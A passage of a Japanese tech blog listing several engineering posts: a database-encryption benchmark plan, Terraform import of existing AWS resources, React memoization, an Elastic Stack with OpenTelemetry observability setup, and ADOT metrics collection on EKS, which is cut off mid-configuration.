にログインされた場合でもデータは暗号化されたままなので閲覧できません。アプリケーションを経由したアクセスでなければ復号したデータは見れません。 PostgreSQL では暗号化ライブラリとして pgcrypto が用意されているのでこちらを利用して検証を行います。 これらの方式の詳細は少し古い記事になりますが、 @IT にて連載されていた こちらのコラムの2ページ目の表 がわかりやすくまとまっています。 「アプリケーションによる暗号化」が最も強いなら 暗号化の強度とカバー範囲だけを考えると、アプリケーションによる暗号化が最も強いですが、DBとのデータ入出力処理を実装する都度、暗号化/復号化の処理を通さなければなりません。 品質管理の観点からもアプリケーション機能の実装数は少ない方が品質維持が容易になるので、DBもしくはOSに任せられる処理は任せた方が無難です。 理想的なデータ暗号化の想定としては データ全体の暗号化はディスク暗号化もしくは透過的暗号化で対応 マイナン バーやクレジットカード番号などの特に機微な情報に限ってアプリケーションでも暗号化 という組み合わせパターンが理想形だと想定しています。 DB暗号化を導入する際の懸念点 最大の懸念は性能面 今回の検証でデータ暗号化をテーマにした理由にもなりますが、データを暗号化する場合は DBにデータを格納するたびに暗号化処理が実行されます。そのためDBへのIO性能が確実に低下します が、どの程度低下するかはサーバー性能やデータ特性などに影響を受けるため、一概に何%低下するとは単純に語れません。 また、列レベルで暗号化する場合には列によってはインデックスが効かなくなる、といった副作用も想像できますし、暗号化方式によってはdump/restore時に影響が出ないかも心配です。 そのため今回の検証では、影響がありそうだと想定される状況ごとに実際の性能劣化度合いがどの程度なのかを計測していくことを中心に計画しています。 もちろん理想の結果としては、処理性能の劣化が無視できる程度であることですがそれは実際に試さないとわかりません……。 検証する環境や条件 検証環境 各環境のベースには AWS の定常パフォーマンス環境のm4.xlargeを用いる予定で、検証環境のバリエーションとしては以下を用意しようと考えています。 暗号化なし環境 ディスク暗号化(LUKS)環境 透過的暗号化(TDEforPG)環境 アプリ暗号化(pgcrypto)環境 ディスク暗号化+透過的暗号化(LUKS + TDEforPG)環境 また、検証スケジュールに余裕があれば AWS のRDSにてTDEオプションがあるようなので、こちらのON/OFFの違いも参考値として計測したいと考えています。 検証内容 実際のアプリケーションの動作や、運用を想定した動作について計測予定です。 ウェブアプリケーション を想定したクエリ SELECT JOINあり / なし サブクエリあり / なし インデックススキャン / フルスキャン INSERT DELETE UPDATE dump / restore速度 DB同期速度 なおDB同期速度については、正攻法で検証するのであれば各検証環境を2台ずつ用意しないといけないと思うのですが、なんとかもう少し楽に検証できないか検討しています。 次回予告 さて今回はDBセキュリティの概要と、導入時に懸念される項目を検証するための計画を立てる話でした。 今後この計画に沿って環境の構築と検証を進めていきます。次回は計測結果をもとにした現実的なDB暗号化プランの検討をしていきたいと思います。 次回記事の投稿は少し先になりますが、2024年3月頃を予定しています。投稿する際には本記事からもリンクを張っておきます。 ※追記:書きました tech-blog.rakus.co.jp 参考 www.ppc.go.jp atmarkit.itmedia.co.jp jpn.nec.com 商用ソフトウェアのためTDEforPGに関する具体的な性能測定結果は公開を差し控える可能性があります。 ↩
アバター
はじめに  こんにちは、 ラク スでインフラを担当しているftkenjです。  弊社ではサービスの製品サイトを AWS で運用していますが、リソースの追加・変更が発生するたびにコンソールにログインをして画面をポチポチして行っています。 オンプレよりは楽ですが、 クラウド サービスの利点を生かし切れていませんでした。  そこでサービスでも利用してるTerraformで構成管理を行っていくことにしました。 コード化していく中で苦労したことなどを伝えられればと思います。 目次 はじめに 目次 Terraformって何? きっかけ 苦労したこと ディレクトリの構成 リソースの取り込み 実環境との差分埋め 良かったこと terraformの知見が広がった 運用面の変化 今後について おわりに 参考 Terraformって何?  Terraformとは、HashiCorpがGo言語で開発した オープンソース のツールです。 AWS や GCP といった クラウド サービス上のインフラ構成をコード管理するために使用します。 ここにGitも組み合わせることでインフラ構成をバージョン管理することも可能になります。  最終的にはCI/CDまで実装することができれば、複雑な手順や数時間とかかっていた作業も不要になります。 とはいえ、既存環境をコード化するのも一筋縄とはいかず・・・ きっかけ  新規サーバ・サイトの追加時のたびに AWS のWebコンソールで操作をしていました。 コンソールからの操作はどうしても画面遷移が多く、横にもう一つコンソールを出して既存設定と見比べながら設定することが大変でした。 この作業を楽にしたい、というのがコード化のきっかけになります。 苦労したこと ディレクト リの構成  始めはenvおよびmodules配下それぞれを本番環境と検証環境で分けていました。 しかし、これだとmodulesでコードが重複してしまい煩雑になってしまいます。 そのためmodulesは共 通化 して環境の差分は変数(env)で補完する、という構成にしました。 例) . ┣━ env ┃ ┣━ 検証環境 ┃ ┃ ┗━ main.tf ┃ ┃ ┃ ┗━ 本番環境 ┃ ┗━ main.tf ┃ ┗━ modules ┣━ サービス名1 ┃ ┣━ AWSサービス名1.tf(メインとなるtfファイル) ┃ ┣━ variables.tf ┃ ┗━ (output.tf) ┃ ┣━ サービス名2 ┃ ┣━ AWSサービス名2.tf ┃ ┣━ variables.tf ┃ ┗━ (output.tf) ...  どちらかの環境にしか存在しないリソースも存在していますが、 三項演算子 を使用して制御しています。 詳しくは次回紹介できればと思います。 リソースの取り込み  コードを書くよりも、実環境の状態を取り込む方が大変でした・・・ terraform import は取り込むリソースを指定して実行することで、「terraform.tfstate」というファイルに json 形式で取り込まれます。  ただし、取り込みには対象のリソースのIDやARN( Amazon Resource Name)が必要であり、基本的にTerraformでコード化しているすべてのresource分を行わなければいけません。 細かいところですと、Route53のレコードやELBのListener Ruleが1項目ずつ取り込むことになります。   AWS で新しく環境構築する、もしくは始めたばかりのうちにコード化しておく方が結果的に少ない労力で済みますね・・・  一応「terraformer」という既存環境を一括で取り込める OSS があります。 こちらはtfファイルも自動生成してくれますが、各リソースの設定値がハードコーディングされているなど、生成後に手を加える必要があります。 いち早く既存環境をコード化して運用していきたい、という場合は使ってみるのもアリではないでしょうか。 実環境との差分埋め  すべての取り込みが完了したら「terraform plan」(dry-runのイメージ)の実行です。 これで実環境との差分が出なければ、めでたくコード化完了となりますが・・・  実行後、以下のように「変更の詳細」とadd、change、destroyの総数が表示されます。 特にchange、destroyは実環境が壊れてしまうので注意しなければいけません。 ‐ add:新規追加されるリソース数 ‐ change:変更されるリソース数 ‐ destroy:削除されるリソース数 … ここから上は変更の詳細 … Plan: 8 to add, 0 to change, 0 to destroy. ─────────────────────────────────────────────────────────────────────────────────────── Note: You didn't use the -out option to save this plan, so Terraform can't guarantee to take exactly these actions if you run "terraform apply" now. なお取り込みできないresourceも存在するため、 terraform apply の初回実行までaddが残ってしまうこともあります。 その場合は、取り込めないresource以外に変更されない状態するまで差分を埋めていきます。 良かったこと terraformの知見が広がった  これまでTerraformを触ったことがなかったので、試行錯誤しながら進めていました。 ピンポイントでほしい情報が載っている技術ブログが見つからないなどありましたが、 公式ドキュメント が分かりやすく一番重宝しました。 terraform import 実行時に必要なリソースID等も公式ドキュメントで確認することができます。 上の方でも書きましたが、今回コード化していく中で役立ちそうなところを次回紹介できればと思います。 運用面の変化  コード化してからの運用がどうなったかをかければよかったのですが、まだ運用開始できるところまでできていません。 機会があればコード化前後でどういった変化があったのかをお伝えできればと思います。 今後について  コード化までは完了しているため、Terraformの運用/管理を整理していきます。 作成者でしかTerraformから構成変更・追加ができない状態ではコード化した意味がありません。 CI/CDのパイプラインも設計していきたいですが、こちらは先が長くなりそうです。 おわりに  Terraformを触り始めてまだ半年程度ですが、コードを書くこと自体は難しくはありませんでした。 それよりも煩雑にならないための事前設計と既存環境との差分をなくしていくことが大変でした。  あとはなんといっても terraform import です。 IDやARNが必要になるため、どうしても1つずつしか取り込めないのが手間でした。 そういった意味でも、コード化するのであれば最初からTerraformで構築する方が楽だと実感しました。 もしくは AWS であれば、料金がかかってしまいますがCloudFormationをを利用することでコード化の難易度は下がるのかもしれません。 参考 Terraform by HashiCorp [AWS] Terraformerで複数のリソースを一括importしてみた
アバター
はじめに 初めまして、新卒1年目のm_you_sanと申します。 初学者向けにReactにおけるメモ化の方法を簡単に紹介させていただきます。 目次は以下の通りです。 はじめに そもそもメモ化って? メモ化の方法 React.memo 使用例 注意点 useCallback 注意点 まとめ そもそもメモ化って? メモ化は簡単に言うと、計算結果を保持して、それを再利用する手法です。 Reactの場合、無駄な コンポーネント の呼び出しを減らすことができ、パフォーマンス性が上がります。 特に レンダリング の負荷が大きい処理、頻繫に再 レンダリング される コンポーネント の子 コンポーネント で、メモ化を利用するとよりパフォーマンス性の向上が見込めます。 メモ化の方法 Reactおけるメモ化方法は主に3つ(React.memo、useCallBack、useMemo)あります。 今回はReact.memoとuseCallBackについて紹介いたします。 React.memo React.memoは コンポーネント の不要な レンダリング の回避を目的として使用します。 メモ化の対象は コンポーネント です。 React.memoはpropsが等価であるかをチェックして再 レンダリング の判断をします。 新しく渡されたpropsと前回のpropsを比較して、等価である場合は再 レンダリング は起きません。 使用例 以下のコードは親 コンポーネント に入力フォームがあるコードです。 親 コンポーネント const App: React.FC = () => { const items = [ "食洗器" , "髭剃り" , "冷蔵庫" ] ; const [ itemList , setItemList ] = useState ( items ); const [ item , setItem ] = useState ( "" ); const addItem = () => { setItemList ( [ ...itemList , item ] ); } return ( <> < input type= "text" placeholder = "欲しいもの" value = { item } onChange = { ( e ) => setItem ( e.target.value ) } / > < button onClick = { addItem } > 追加 < /button > < List itemList = { itemList } / > < / > ) } 子 コンポーネント type ListProps = { itemList: string [] } export const List: React.FC < ListProps > = ( { itemList } ) => { console .log ( "レンダリングされました" ); return ( < ul > { itemList.map (( item , index ) => ( < li key = { index } > { item } < /li > )) } < /ul > ) } この場合、フォームに値が入力される度に、親 コンポーネント で管理しているitemが更新されるので、子 コンポーネント が レンダリング されてしまいます。 こうした レンダリング を防ぐために、子 コンポーネント をメモ化します。 下記のコードの場合、itemListが更新されたときのみ、再 レンダリング が起こるようになります。 つまり、追加ボタンが押されない限り、再 レンダリング は起きません。 子 コンポーネント export const List: React.FC < ListProps > = React.memo (( { itemList } ) => { console .log ( "レンダリングされました" ); return ( < ul > { itemList.map (( item , index ) => ( < li key = { index } > { item } < /li > )) } < /ul > ) } ) 動作を確認すると、メモ化することで、再 レンダリング が防げていることが分かります。 また、追加ボタンを押したときのみ、再 レンダリング が起きているのが分かります。 注意点 関数をpropsとして渡す場合、React.memoでは再 レンダリング を防ぐことができません。 例として、先程のコードに、欲しいものの表示、非表示を切り替えるtoggleShowItems関数を作成し、propsとして子 コンポーネント に渡してみます。 親 コンポーネント const App: React.FC = () => { const items = [ "食洗器" , "髭剃り" , "冷蔵庫" ] const [ itemList , setItemList ] = useState ( items ); const [ item , setItem ] = useState ( "" ); const [ isShow , setIsShow ] = useState ( false ); const addItem = () => { setItemList ( [ ...itemList , item ] ); } const toggleShowItems = () => { setIsShow ( ! isShow ); } return ( <> < input type= "text" placeholder = "欲しいもの" value = { item } onChange = { ( e ) => setItem ( e.target.value ) } / > < button onClick = { addItem } > 追加 < /button > < List itemList = { itemList } isShow = { isShow } toggleShowItems = { toggleShowItems } / > < / > ) } 子 コンポーネント type ListProps = { itemList: string [] ; isShow: boolean ; toggleShowItems: () => void ; } export const List: React.FC < ListProps > = React.memo (( { itemList , isShow , toggleShowItems } ) => { console .log ( "レンダリングされました" ); return ( <> < div > < button onClick = { toggleShowItems } > { isShow? "欲しいものを非表示にする" : "欲しいものを表示する" } < /button > < /div > { isShow && ( < ul > { itemList.map (( item , index ) => ( < li key = { index } > { item } < /li > )) } < /ul > ) } < / > ) } ) この場合、toggleShowItems関数の内容は変更されていないにも関わらず、フォームに入力する度に再 レンダリング が発生してしまいます。 なぜこのようになるのかというと、React.memoでは、関数などのオブジェクト型の等価性をチェックする場合、値そのものではなく参照先データを比較するからです。 仮にtoggleShowItems1を レンダリング 前の関数、toggleShowItems2を レンダリング 後の関数とします。 関数の内容自体は変わりませんが、参照先が レンダリング 前後で変わるため、等価ではないと判断されます。 そのため関数が変更されたと見なされ、再 レンダリング が発生してしまいます。 //レンダリング前 const toggleShowItems1 = () => { setIsShow ( ! isShow ); } //レンダリング後 const toggleShowItems2 = () => { setIsShow ( ! isShow ); } //関数の内容は同じだが、参照先が異なるためfalse console .log ( toggleShowItems1 === toggleShowItems2 ); こうした問題を解決するために使用するのがuseCallbackです。 useCallback useCallbackのメモ化の対象は関数です。 useEffectなどと同様に、第二引数に依存配列を設定します。 下記のコードの場合、isShowが更新されたときに、関数を再生成します。 親 コンポーネント const toggleShowItems = useCallback (() => { setIsShow ( ! isShow ); } , [ isShow ] ); 動作を確認すると、フォームに入力しても レンダリング が発生していないことが分かります。 また、表示切替のボタンを押して、isShowが更新されたタイミングで レンダリング が起きていることが分かります。 このように、関数をメモ化した コンポーネント に渡す場合、useCallbackを使用することで、不要な レンダリング を抑えることができます。 注意点 useCallbackをReact.memoと併用して、不要な レンダリング を防ぐ目的ではなく、単純に関数の再生成を防ぐ目的で使用しても、あまり効果はありません。 理由としては、関数の再生成のコストがuseCallbackの実行コストを上回るケースがあまりないからです。 関数の再生成を防ぐ目的であれば、 useMemo の方が適していると思うので、そちらを使用するのが良いと思います。 まとめ 今回は初学者向けにReact.memoとuseCallbackについて、紹介させていただきました。 メモ化について更に詳しく知りたい方は、 公式ドキュメント を参照していただければと思います。
アバター
こんにちは。インフラエンジニアの gumamon です! 最近はSRE的なことも ちょこちょこ やらせて頂いています。 NewRelic、Datadog、モダンな監視(オブザーバビリティ)って良いですよね。 弊社も Kubernetes ( k8s )等を利用した環境が増えてきた折、そろそろ必要になってきた(と思っている)のですが、NewRelic、Datadog等の クラウド サービスは ランニングコスト が安くない。 そこで内製できないかやってみよう!ということになり、試行錯誤をした結果どうにか表題の構成で作ることができたのでご紹介をしたいと思います! この記事では、 k8s を観測対象とし、オブザーバビリティを実現した際の アーキテクチャ 構成、並びに四苦八苦する中で得た観測の勘所( 私見 )についてご紹介します。 目次 目次 オブザーバビリティとは オブザーバビリティ(OSS)の実現事例 全体構成 Elastic Stack Elastic Stack を補うサービス OpentTelemetry関連 取れるデータは手段を選ばず収集する Metrics Log Tracing 収集した情報を分析し、ビジネス自体を観測する 特定リクエストのエラー応答を追跡する k8s環境のリソース使用状況を確認する まとめ 参考 検証環境 ドキュメント オブザーバビリティとは Observabilityと表記され、日本語では「可観測性」と呼ばれる概念です。 より日本語の感覚に寄せた表記をするのであれば、「観測する能力」 (= Observe + Ability)とも言えるかと思います。 観測と監視の違いは何か?と聞かれることがあるのですが、私は「見ている対象が違う」と回答しています。 「顧客体験」を観測する 「システムの正常性」を監視する 言うまでもなく、ビジネス上より価値が高いデータは観測データの方になるかと思います。 近年、 クラウド やコンテナ等の普及によりサービスの構成要素はあらゆるところに分散しています。 これら全体を「監視」し続け、ましてやそこから顧客体験を推察するというのは非常に骨の折れる作業であり、これが今オブザーバビリティに注目が集まっている背景ではないかと私は思います。 さて、改めて 「顧客体験」を観測する方法ですが、こちらは「 ORILLY 入門監視~モダンなモニタリングのためのデザインパターン~ 」が参考になるかと思います。 この記事では深く触れませんが、「顧客体験」の観測に関連する要点は下記である、と書いてあるように私には読み取れました。 ユーザが快適に利用できているかを観測するには ユーザに近い場所から監視せよ サービス利用時のパフォーマンスを測定せよ サービス構成要素から漏れなく情報を収集せよ 収集した情報を分析し、ビジネス自体を観測せよ さらに、上記を実装イメージに寄せてグルーピングしてみると下記になりました。 取れるデータは手段を選ばず収集する (1〜3) 収集した情報を分析し、ビジネス自体を観測する (4) 次のテーマではこれをどう実現したかを見ていきます。 オブザーバビリティ( OSS )の実現事例 全体構成 いきなり結論ですが今回構築した環境の全体像はこうなりました。 ※ k8s 上にデプロイしています。 Elastic Stack arch_all Elastic Stack 緑の コンポーネント がこちらの対象です。 Elasticsearch : Elastic Stack(ES)の核となるサービス。永続化データは全てここに保存する。 Kibana: ESの ユーザーインターフェイス ApmServer: Tracing(後述)データの受け口。OTLPに対応している Fleet: Elastic Agentの管理サーバ Elastic Agent: OS/ k8s のMetrics、Log収集を担当(後述) Elastic Stack を補うサービス 白の コンポーネント がこちらの対象です。 kube-system-metrics (KSM) : k8s API をListenし、メトリクスを生成する(単純な)サービス ElastAlert2 : 3rdパーティ製のアラートマネージャ。ESのアラートマネージャは要有償ライセンス・・(泣) OpentTelemetry関連 青の コンポーネント がこちらの対象です。 stub: 弊社で内製したスタブアプリ(Go)。OTel用に( 計装 )をしている Otel-Collector: OTLP準拠の観測データをバックエンドに フォワ ードする 取れるデータは手段を選ばず収集する 収集対象のデータは、オブザーバビリティでは特にTelemetry(テレメトリ)と呼びます。 Telemetryは特性別に3つに分ける事ができます。 Category Summary Metrics 定期的にグループ化または収集された測定値の集合。統計情報やCPU使用率など Logs 履歴や情報の記録。 コンポーネント の アクセスログ 、エラーログ等 Tracing トランザクション の追跡。特定のWEBリク エス トにレスポンスが返るまでの レイテンシー 、通過 コンポーネント 、等 上記3つは、何れも「手段を選ばず」収集していきます。 今回は下記の実装となりました。 Metrics ElasticAgentを介して収集します。 ※収集経路をオレンジでハイライトしています。 Elastic Stack arch_metrics k8s 周り kube-system-metrics(KSM) )を介して収集します。 KSMは k8s のコントローラ経由で収集したメトリクスを提供するエンドポイントです。 /sys/fs/cgroup/ 等もマウントし参照します。 OS周り /proc 等をマウントし参照します。 ( Metricsではありませんが、 /etc/ 以下もマウントし、ホスト名なども収集します) Log ElasticAgentを介して収集します。 ※収集経路をオレンジでハイライトしています。 Elastic Stack arch_logs k8s 周り * コンテナログ: /var/log/contanirs をマウントし収集します(APPのログは標準出力し、左記に格納します) * システム コンポーネント ログ: 半分は前述コンテナログとして取れます。残りは /var/log/messages 等をマウントして収集します OS周り /var/log/secure 等をマウントして収集します。 Tracing OpenTelemetryを介して収集します。 ※収集経路をオレンジでハイライトしています。 Elastic Stack arch_tracging OTel SDK Tracingの起点であり、追跡用のIDを発行します。 今回は Manual Instrumentation という手法で追跡IDを発行しており、ざっくり説明をするとAPPにOTelのライブラリを読み込ませて API を叩く都度追跡IDを発行をさせています。 OTel Collector APPからTracingを受け、 APM Serverに フォワ ードするのが責務です。 APM Server OTel CollectorからTracingを受け、Elasticsearchに格納するのが責務です。 OTel SDK → APM Serber としても通信は成立するのですが、この場合APPコンテナの設定に APM Serverの情報を含める必要があるなど、プロダクト(を想定したAPP)とESの結合度が高まってしまうため、OTel Collectorを一段挟むことにしました。 では ElasticAgentはどうなのか?という話になるのですが、こちらはそもそもプロダクト(を想定したAPP)が関与しない通信経路であること、 Datadog、NewRelicなどは皆エージェントを持っているというところから、仮にESから他ソリューションに移ることになったとしてもロックインされるリスクは低いと判断し、 Elasticsearchとネイティブに通信できるAgentを使うことを選択しています。 収集した情報を分析し、ビジネス自体を観測する ここから先は、根こそぎ集めたデータの活用フェイズになります。 「ビジネス自体を監視する」というところはプロダクトが目指す方向性となるため、千差万別です。 ここでは、 ユーザーインターフェイス (Kibana)のキャプチャと共に活用例をご紹介します。 特定リク エス トのエラー応答を追跡する OTel SDK が付与した 追跡IDを元に、エラー応答が発生したリク エス ト→レスポンス( トランザクション )を追跡します。 Kiabna stub tracing Kibana stub logs 画面からは以下のことがわかります。 サービス stub のエンドポイント /todos/ で Internal Server Error が発生した 発生時刻は本日 13:56 エラーログから、原因は存在しない URI /todos/hoge にアクセスされた為であることがわかった ---※1 ※1 ログにもOTel SDK が発行した追跡IDを埋めています(Tracingと一致するID)。これをElastic Stack側の APM アプリが解釈し、Tracingと関連するLogとして同じアクセスとしてUIに表示しています。 k8s 環境のリソース使用状況を確認する k8s のMetrics状況から、イン フラリ ソースの使われ方、あるいは しきい値 の設定が適切かを確認します。 Kibana k8s overview 画面からは以下のことがわかります。 メモリが逼迫したPodがいる (これはPod自体に設定したリソースの上限です) Elasticsearch : MEM=max 2GB ElasticAgent: MEM=max 1GB k8s ノード全体のメモリ使用量は4GB/16GB とまだ余裕があります。 Podのメモリ利用効率を改善するか、メモリ利用上限を引き上げることでリソース逼迫を解消できそうです まとめ 今回は Elastic Stack x OpenTelemetryを使ったオブザーバビリティ構成についてご紹介させていただきました。 クラウド サービスを使うケースが大多数だとは思いますが、監視対象への実装では似たようなことを行うことになるかなと思います。 何かの参考にしていただけますと幸いです! ※実装方法については当記事では割愛させて頂きますが、Elastic StackはOperatorをインストールし、(OTel等も含め) kustomizeで書きました。 言うに及ばずですが、自力実装をするには結構なつらみがあり、「まずお試しで」ということであれば有償版をご利用されることをお勧め致します! 以上、最後までお読み頂きありがとうございました! 参考 検証環境 k8s プラットフォーム microk8s (v1.27.5) kubernetes (v1.27) オブザーバビリティ kube-state-metrics (v2.10.0) ECK Operator (v2.9.0) Elastic Stack (v8.9.2) OTel Collector (v0.84.0) elastalert2 (v2.13.2) アプリケーション stub (Go / 弊社内製) Otel SDK ドキュメント ESに関するドキュメント index overview Elastic Cloud on K8s Guide Elasticsearch Kibana Elastic Observability Fleet and Elastic Agent OpenTelemetry 公式Doc kube-state-metrics Github ElastAlert2 公式Doc Github
アバター
はじめに 初めましてこんにちは。 ngerukatakataです。 営業上がりの未経験エンジニアとしてそこそこの期間を働いております。 最近AWSEKS環境なんてものを触り始めました。 k8s 環境に触れるのも初めてなうえに、 AWS もそんなに触ったことない人間なので四苦八苦としています。 簡単な面もあればどうしたら実現できるんだ!なんて面にもぶつかったり… 皆さんも k8s に触れるときには同じような苦しみを感じたんじゃないかなぁって思います。 さて、今回は苦労したものの一つ AWS _EKSの『メトリクス監視』についてお話しさせていただければと思います。 今回お話しするメトリクス監視ツールは ADOT( AWS Distro for OpenTelemetry) についてとなります。 目次 はじめに 目次 背景 EKSの監視を始めよう! ADOT とは? OpenTelemetry とは? ADOTをEKSonFargateに導入するには FargateProfileの作成 IAMの作成 ADOTコレクタの作成 Container Insightsでの確認 ADOTをEKSonFargate+EC2に導入するには ノードグループにラベルを追加 Configmapの修正 まとめ 参考 背景 この度新しい運用基盤へのチャレンジということで k8s 環境への取り組みが始まりました。 新しい運用基盤への取り組みが始まるということは、当然のことながら、 新しい監視について検討をしなくてはなりません。 今までの環境は物理または仮想のサーバ環境に対して、Zabbixエージェントを導入して監視を行っておりました。 ただ調べてみると、EKS環境というのは今まで通りzabbixエージェントを仕込んで…というのはどうも難しそう。 今まで通りのやり方を踏襲してやれば楽勝じゃん!とはいかなそうではありました。 そこでいろいろな賢人たちのブログを読み漁りADOTというものに出会いました。 ADOT( AWS Distro for OpenTelemetry)はOpenTelemetryの仕組みを使って、 いい感じにデータを抜き出してくれる仕組み…これでメトリクスも完成だ!としたところで、 どうやら既存のADOT設定はFargate特化、EC2ノードを追加した構成ではうまく動かないことが分かりました。 そこでcadvisorといわれる仕組みを勉強したりOtelの構造を勉強したりなどして、 なんとかFargate+EC2のEKS構成でもADOTを利用したメトリクス監視構成を作成することができました 今回はそんな新しい監視ツールADOTの説明と、 それをEC2同居構成でどのように使えるようにしたかという説明をさせていただければと思います。 EKSの監視を始めよう! まずは早速ADOTについて説明をさせていただきます。 ADOT とは? AWS Distro for OpenTelemetry は、 AWS がサポートする OpenTelemetry プロジェクトの ディストリビューション です。 ADOT CollectorというPodでメトリクスの情報を収集し、Cloudwatchなどに送信するところまでやってくれています。 OpenTelemetry とは? システム監視におけるメトリクスデータなどの収集や送信を標準化し、 特定のベンダに依存しない形でシンプルに収集/送信をするものです。 ADOTはこちらを利用して収集から送信を AWS 用にいい感じにしてくれるものと捉えてもらえればよろしいかと思います。 ADOTをEKSonFargateに導入するには それでは実際に私が実施した ADOTをつかったメトリクス監視の追加方法について、 実例をもとに説明させていただきます。 今回の実例は、以下に示すように - FargateProfileの作成 - IAMの作成 - ADOTコレクタの作成 - Container Insightsでの確認 の流れになっていますので、ごらんの皆様もイメージしやすいかと思います! FargateProfileの作成 ADOTCollectorはFargateで起動するため、 事前にFargateProfileを作成してEKSに認識させなくてはいけません。 弊社ではTerraformを使って AWS の構成管理を行っているので以下のような記述を作ってFargateProfileを作成しました。 module "eks" { source = "terraform-aws-modules/eks/aws" version = "~> 18.30.2" 中略 fargate_profiles = { default = { name = "default" selectors = [ { namespace = "default" }, { namespace = "kube-system" } ] subnet_ids = var.private_subnets }, fargate-container-insights = { name = "fargate-container-insights" selectors = [ { namespace = "fargate-container-insights" } ] subnet_ids = var.private_subnets iam_role_additional_policies = ["arn:aws:iam::aws:policy/CloudWatchLogsFullAccess"] } } } IAMの作成 ADOT Collector から、メトリクスデータを CloudWatch に送信するために IAM アクセス許可が必要です。 Terraformを使って以下のような記述を作ってIAM許可ルールを作成しました。 module "eks-fargate-adot_irsa" { source = "terraform-aws-modules/iam/aws//modules/iam-assumable-role-with-oidc" version = "3.5.0" create_role = true role_name = "${var.cluster.name}-EKS-Fargate-ADOT-ServiceAccount-Role" role_policy_arns = ["arn:aws:iam::aws:policy/CloudWatchAgentServerPolicy"] provider_url = module.eks.cluster_oidc_issuer_url oidc_fully_qualified_subjects = ["system:serviceaccount:fargate-container-insights:adot-collector"] } これはrole_nameの名前でCloudWatchAgentServerPolicyの権限を持ったroleを作成しています。 EKS上のnamespace「fargate-container-insights」のpod「adot-collector」が処理をするときに 本roleにassume出来るようにしています。 該当のEKSには以下のような yaml を実行してnamespaceとServiceAccountを作っておきましょう。 apiVersion: v1 kind: Namespace metadata: name: fargate-container-insights labels: name: fargate-container-insights apiVersion: v1 kind: ServiceAccount metadata: name: adot-collector namespace: fargate-container-insights annotations: eks.amazonaws.com/role-arn: [IRSAARN] ここでいう[IRSAARN]には先ほどTerraformで生成したrole_nameのARNを入力します。 ADOTコレクタの作成 次に以下の yaml を実行してStagtefulsetとしてADOT Collectorを作成しましょう。 以下のようなroleを作成し、 kind: ClusterRole apiVersion: rbac.authorization.k8s.io/v1 metadata: name: adotcol-admin-role rules: - apiGroups: [""] resources: - nodes - nodes/proxy - nodes/metrics - services - endpoints - pods - pods/proxy verbs: ["get", "list", "watch"] - nonResourceURLs: [ "/metrics/cadvisor"] verbs: ["get", "list", "watch"] さきほど作ったServiceAccountに権限を付与します。 kind: ClusterRoleBinding apiVersion: rbac.authorization.k8s.io/v1 metadata: name: adotcol-admin-role-binding subjects: - kind: ServiceAccount name: adot-collector namespace: fargate-container-insights roleRef: kind: ClusterRole name: adotcol-admin-role apiGroup: rbac.authorization.k8s.io そして重要となるAdotのconfig用のConfigmap、 これがOpenTelemetoryの設定になります。 長すぎるのでコードは閉じておきますが、 「receivers」でデータをどのように受け取るかの設定をし、 「processors」でどのようにデータを取り扱うかの設定をし、 「exporters」で出力先の設定をしています。 ここでは 「receivers」で「cadvisor」というものを使って k8s 環境の情報を取得し、 「processors」で必要な情報をメトリクスデータとして整理し、 「exporters」で「Cloudwatch」宛に出力する設定をしているということだけご認識ください。 >>>>コードを見る<<<< apiVersion: v1 kind: ConfigMap metadata: name: adot-collector-config namespace: fargate-container-insights labels: app: aws-adot component: adot-collector-config data: adot-collector-config: | receivers: prometheus: config: global: scrape_interval: 1m scrape_timeout: 40s scrape_configs: - job_name: 'kubelets-cadvisor-metrics' sample_limit: 10000 scheme: https kubernetes_sd_configs: - role: node tls_config: ca_file: /var/run/secrets/kubernetes.io/serviceaccount/ca.crt bearer_token_file: /var/run/secrets/kubernetes.io/serviceaccount/token relabel_configs: - action: labelmap regex: __meta_kubernetes_node_label_(.+) # Only for Kubernetes ^1.7.3. # See: https://github.com/prometheus/prometheus/issues/2916 - target_label: __address__ # Changes the address to Kube API server's default address and port replacement: kubernetes.default.svc:443 - source_labels: [__meta_kubernetes_node_name] regex: (.+) target_label: __metrics_path__ # Changes the default metrics path to kubelet's proxy cadvdisor metrics endpoint replacement: /api/v1/nodes/$${1}/proxy/metrics/cadvisor metric_relabel_configs: # extract readable container/pod name from id field - action: replace source_labels: [id] regex: '^/machine\.slice/machine-rkt\\x2d([^\\]+)\\.+/([^/]+)\.service$' target_label: rkt_container_name replacement: '$${2}-$${1}' - action: replace source_labels: [id] regex: '^/system\.slice/(.+)\.service$' target_label: systemd_service_name replacement: '$${1}' processors: # rename labels which apply to all metrics and are used in metricstransform/rename processor metricstransform/label_1: transforms: - include: .* match_type: regexp action: update operations: - action: update_label label: name new_label: container_id - action: update_label label: kubernetes_io_hostname new_label: NodeName - action: update_label label: eks_amazonaws_com_compute_type new_label: LaunchType # rename container and pod metrics which we care about. # container metrics are renamed to `new_container_*` to differentiate them with unused container metrics metricstransform/rename: transforms: - include: container_spec_cpu_quota new_name: new_container_cpu_limit_raw action: insert match_type: regexp experimental_match_labels: {"container": "\\S", "LaunchType": "fargate"} - include: container_spec_cpu_shares new_name: new_container_cpu_request action: insert match_type: regexp experimental_match_labels: {"container": "\\S", "LaunchType": "fargate"} - include: container_cpu_usage_seconds_total new_name: new_container_cpu_usage_seconds_total action: insert match_type: regexp experimental_match_labels: {"container": "\\S", "LaunchType": "fargate"} - include: container_spec_memory_limit_bytes new_name: new_container_memory_limit action: insert match_type: regexp experimental_match_labels: {"container": "\\S", "LaunchType": "fargate"} - include: container_memory_cache new_name: new_container_memory_cache action: insert match_type: regexp experimental_match_labels: {"container": "\\S", "LaunchType": "fargate"} - include: container_memory_max_usage_bytes new_name: new_container_memory_max_usage action: insert match_type: regexp experimental_match_labels: {"container": "\\S", "LaunchType": "fargate"} - include: container_memory_usage_bytes new_name: new_container_memory_usage action: insert match_type: regexp experimental_match_labels: {"container": "\\S", "LaunchType": "fargate"} - include: container_memory_working_set_bytes new_name: new_container_memory_working_set action: insert match_type: regexp experimental_match_labels: {"container": "\\S", "LaunchType": "fargate"} - include: container_memory_rss new_name: new_container_memory_rss action: insert match_type: regexp experimental_match_labels: {"container": "\\S", "LaunchType": "fargate"} - include: container_memory_swap new_name: new_container_memory_swap action: insert match_type: regexp experimental_match_labels: {"container": "\\S", "LaunchType": "fargate"} - include: container_memory_failcnt new_name: new_container_memory_failcnt action: insert match_type: regexp experimental_match_labels: {"container": "\\S", "LaunchType": "fargate"} - include: container_memory_failures_total new_name: new_container_memory_hierarchical_pgfault action: insert match_type: regexp experimental_match_labels: {"container": "\\S", "LaunchType": 